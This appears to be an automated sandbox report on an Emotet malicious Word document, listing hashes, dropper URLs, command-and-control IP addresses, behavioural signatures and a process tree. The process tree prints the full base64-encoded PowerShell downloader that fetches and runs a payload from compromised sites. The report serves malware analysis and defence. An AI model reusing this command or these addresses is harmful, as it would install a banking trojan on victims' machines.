Overview

overview

10

Static

static

8

V_PO_09302020EX.doc

windows7_x64

10

V_PO_09302020EX.doc

windows10_x64

10

Analysis

  • max time kernel
    70s
  • max time network
    149s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    30/09/2020, 13:42

Sharing

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Report Analysis Logs

General

  • Target
    V_PO_09302020EX.doc
  • Size 131KB
  • Sample200930-ae5dr3z2ts
  • SHA256 087b9ff622ebe92583a05a548a41b6384ca243ee1e54af69e35281cc16c6ee83
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://datvietquan.com/wp-content/wra6K/
  • exe.dropper

    http://albasisgroup.com/wp-content/H/
  • exe.dropper

    http://www.asmaraloka.com/wp-includes/ra5d/
  • exe.dropper

    http://thanhthatbadinh.com/ol5auz/AQ/
  • exe.dropper

    http://ypddf.org/en/NR/
  • exe.dropper

    http://subramanyatemple.org/cgi-bin/0eBKO/
  • exe.dropper

    https://daisyboots.co.uk/wp-admin/u/

Extracted

Family

  • emotet

C2

  • 104.193.103.61:80

  • 104.131.123.136:443

  • 5.196.108.189:8080

  • 121.124.124.40:7080

  • 87.106.139.101:8080

  • 213.196.135.145:80

  • 50.35.17.13:80

  • 38.18.235.242:80

  • 24.43.32.186:80

  • 82.80.155.43:80

  • 103.86.49.11:8080

  • 113.61.66.94:80

  • 24.137.76.62:80

  • 187.49.206.134:80

  • 42.200.107.142:80

  • 24.179.13.119:80

  • 93.147.212.206:80

  • 108.46.29.236:80

  • 105.186.233.33:80

  • 37.139.21.175:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 6 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\V_PO_09302020EX.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABEAGwAOAB6ADgAdQBvAD0AKAAoACcARAAnACsAJwAyAHIAYgAnACkAKwAnAHUAJwArACcANgBqACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBTAEUAcgBQAHIAbwBmAEkAbABFAFwAUAB1AHkAawBJADAAbABcAEQAegBLAG0ANQAzAGkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIAZQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQByAEkAdABZAFAAcgBvAFQAYABPAGMATwBsACIAIAA9ACAAKAAoACcAdABsACcAKwAnAHMAMQAyACcAKQArACcALAAgACcAKwAoACcAdAAnACsAJwBsAHMAMQAxACwAIAAnACkAKwAoACcAdAAnACsAJwBsAHMAJwApACkAOwAkAEoAbABnAG4AdwBnAHEAIAA9ACAAKAAnAFIAMAAnACsAKAAnAGMAJwArACcAeAA4AHkAJwApACsAKAAnAHUAcQAnACsAJwB3ACcAKQApADsAJABGAHkAcwA0ADQAdwBkAD0AKAAnAEYAJwArACcAawAnACsAKAAnAGoAJwArACcAMgBrAGEAZgAnACkAKQA7ACQASwA4AGoAbQBtADMAZgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ACcAKwAnADAAfQAnACsAKAAnAFAAdQAnACsAJwB5AGsAaQAwAGwAJwApACsAJwB7ACcAKwAnADAAJwArACcAfQBEACcAKwAoACcAegAnACsAJwBrAG0ANQAnACkAKwAnADMAaQB7ADAAfQAnACkAIAAgAC0ARgAgAFsAQwBIAEEAUgBdADkAMgApACsAJABKAGwAZwBuAHcAZwBxACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABFAHIAcwBqAF8AawBwAD0AKAAnAFIAJwArACgAJwA3ADEAdwB0ACcAKwAnAHIAMgAnACkAKQA7ACQAWgBkAGQAbQB3AGcANwA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAATgBlAHQALgBXAGUAYgBDAGwAaQBFAG4AdAA7ACQARABqAG4ANgBtADIAaAA9ACgAJwBoACcAKwAnAHQAJwArACcAdABwACcAKwAoACcAOgAvAC8AZAAnACsAJwBhAHQAJwApACsAKAAnAHYAJwArACcAaQBlAHQAcQAnACkAKwAoACcAdQBhACcAKwAnAG4AJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AJwArACcAdwAnACkAKwAoACcAcAAtAGMAJwArACcAbwBuACcAKQArACgAJwB0AGUAJwArACcAbgB0AC8AJwApACsAJwB3AHIAJwArACcAYQA2ACcAKwAnAEsAJwArACcALwAqACcAKwAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAAnACkAKwAoACcAOgAvACcAKwAnAC8AJwApACsAJwBhACcAKwAoACcAbABiAGEAcwBpAHMAZwByACcAKwAnAG8AJwApACsAJwB1AHAAJwArACgAJwAuACcAKwAnAGMAbwBtAC8AJwApACsAKAAnAHcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAJwBlACcAKwAnAG4AJwArACcAdAAvACcAKwAoACcASAAvACcAKwAnACoAaAB0AHQAJwArACcAcAA6ACcAKQArACgAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcALgAnACkAKwAoACcAYQBzAG0AYQAnACsAJwByAGEAJwApACsAKAAnAGwAJwArACcAbwBrAGEALgAnACsAJwBjACcAKQArACcAbwAnACsAKAAnAG0ALwAnACsAJwB3AHAAJwApACsAKAAnAC0AaQAnACsAJwBuAGMAbAAnACsAJwB1AGQAJwArACcAZQBzAC8AcgAnACkAKwAoACcAYQAnACsAJwA1AGQAJwApACsAKAAnAC8AKgAnACsAJwBoAHQAJwArACcAdABwADoALwAvACcAKQArACgAJwB0ACcAKwAnAGgAYQBuACcAKQArACcAaAB0ACcAKwAnAGgAJwArACcAYQB0ACcAKwAoACcAYgBhAGQAaQBuACcAKwAnAGgAJwArACcALgAnACkAKwAoACcAYwAnACsAJwBvAG0AJwApACsAJwAvAG8AJwArACcAbAAnACsAJwA1ACcAKwAnAGEAJwArACgAJwB1AHoALwBBACcAKwAnAFEALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvAC8AeQAnACsAJwBwACcAKQArACcAZABkACcAKwAnAGYAJwArACcALgAnACsAJwBvACcAKwAoACcAcgBnACcAKwAnAC8AZQBuAC8AJwApACsAKAAnAE4AUgAnACsAJwAvACoAJwApACsAJwBoACcAKwAnAHQAdAAnACsAJwBwADoAJwArACgAJwAvAC8AcwB1AGIAcgAnACsAJwBhAG0AJwArACcAYQAnACsAJwBuAHkAJwArACcAYQB0AGUAbQBwACcAKQArACcAbAAnACsAKAAnAGUALgAnACsAJwBvACcAKQArACgAJwByAGcAJwArACcALwBjAGcAJwApACsAJwBpACcAKwAoACcALQBiAGkAJwArACcAbgAnACsAJwAvADAAZQBCAEsATwAvACcAKQArACgAJwAqACcAKwAnAGgAdAAnACsAJwB0AHAAcwA6AC8AJwApACsAJwAvACcAKwAnAGQAYQAnACsAJwBpACcAKwAoACcAcwB5AGIAbwBvAHQAJwArACcAcwAnACsAJwAuACcAKQArACgAJwBjACcAKwAnAG8ALgAnACkAKwAnAHUAawAnACsAKAAnAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZABtAGkAJwArACcAbgAnACsAJwAvAHUALwAnACkAKQAuACIAcwBQAGwAYABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABDAGgAbgAyADcAbAAwAD0AKAAnAFkAJwArACgAJwA0ACcAKwAnAHgAMAB6ACcAKQArACcAOAB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAZABmAHkAZwB1ADAAIABpAG4AIAAkAEQAagBuADYAbQAyAGgAKQB7AHQAcgB5AHsAJABaAGQAZABtAHcAZwA3AC4AIgBEAG8AYAB3AGAATgBsAG8AQQBEAGYAYABpAGwARQAiACgAJABEAGQAZgB5AGcAdQAwACwAIAAkAEsAOABqAG0AbQAzAGYAKQA7ACQATQB3AHMAZAA5AG0AMgA9ACgAKAAnAEcAJwArACcAZwBlADkAJwApACsAKAAnADgAcgAnACsAJwBpACcAKQApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEsAOABqAG0AbQAzAGYAKQAuACIAbABgAEUAbgBHAFQAaAAiACAALQBnAGUAIAAzADUAMQA1ADUAKQAgAHsALgAoACcASQBuAHYAJwArACcAbwAnACsAJwBrAGUALQBJAHQAZQBtACcAKQAoACQASwA4AGoAbQBtADMAZgApADsAJABVAHkAYwB5AHAAbwA2AD0AKAAnAFEAJwArACgAJwBsACcAKwAnAGgAeAAnACkAKwAoACcAcQAnACsAJwB3ADMAJwApACkAOwBiAHIAZQBhAGsAOwAkAFIAZgA4ADAAeQB0ADEAPQAoACcATAAnACsAJwByACcAKwAoACcAMQBoACcAKwAnAGEAMAByACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABXAHEAOABpAHcAbgBiAD0AKAAnAFEAdQAnACsAJwBsACcAKwAoACcAYgB1AGsAJwArACcANAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe
      "C:\Users\Admin\Puyki0l\Dzkm53i\R0cx8yuqw.exe"
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:544
      • C:\Windows\SysWOW64\apilogen\NlsData081a.exe
        "C:\Windows\SysWOW64\apilogen\NlsData081a.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:568

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/544-16-0x0000000000250000-0x0000000000262000-memory.dmp
        Download

        memory/544-17-0x0000000000230000-0x0000000000240000-memory.dmp
        Download

        memory/568-23-0x00000000002E0000-0x00000000002F2000-memory.dmp
        Download

        memory/888-25-0x000007FEF6C10000-0x000007FEF6E8A000-memory.dmp
        Download

        memory/1108-2-0x0000000008960000-0x0000000008964000-memory.dmp
        Download

        memory/1108-6-0x0000000006DF0000-0x0000000006FF0000-memory.dmp
        Download

        memory/1108-5-0x0000000006DF0000-0x0000000006FF0000-memory.dmp
        Download

        memory/1108-4-0x0000000006DF0000-0x0000000006FF0000-memory.dmp
        Download

        memory/1108-3-0x0000000006DF0000-0x0000000006FF0000-memory.dmp
        Download

        memory/1908-7-0x000007FEE9280000-0x000007FEE9C6C000-memory.dmp
        Download

        memory/1908-13-0x000000001B910000-0x000000001B911000-memory.dmp
        Download

        memory/1908-12-0x000000001B500000-0x000000001B501000-memory.dmp
        Download

        memory/1908-11-0x0000000002020000-0x0000000002021000-memory.dmp
        Download

        memory/1908-10-0x0000000002560000-0x0000000002561000-memory.dmp
        Download

        memory/1908-9-0x000000001A9E0000-0x000000001A9E1000-memory.dmp
        Download

        memory/1908-8-0x0000000002490000-0x0000000002491000-memory.dmp
        Download